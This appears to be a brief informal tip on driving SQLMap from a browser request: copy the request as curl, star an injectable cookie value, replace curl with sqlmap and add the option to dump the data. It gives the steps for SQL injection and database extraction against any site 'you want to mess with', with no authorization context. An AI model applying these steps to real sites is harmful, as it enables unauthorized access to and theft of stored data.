SQLMap as HTTP requests

Hit the site you want to mess with. Open developer tools to view the page (relead as needed) right click the page request and copy as curl, add a star to the item you're looking to mess with - in this example it's the cookie id 1. Replace curl with sql map and add the option to dump the data it finds
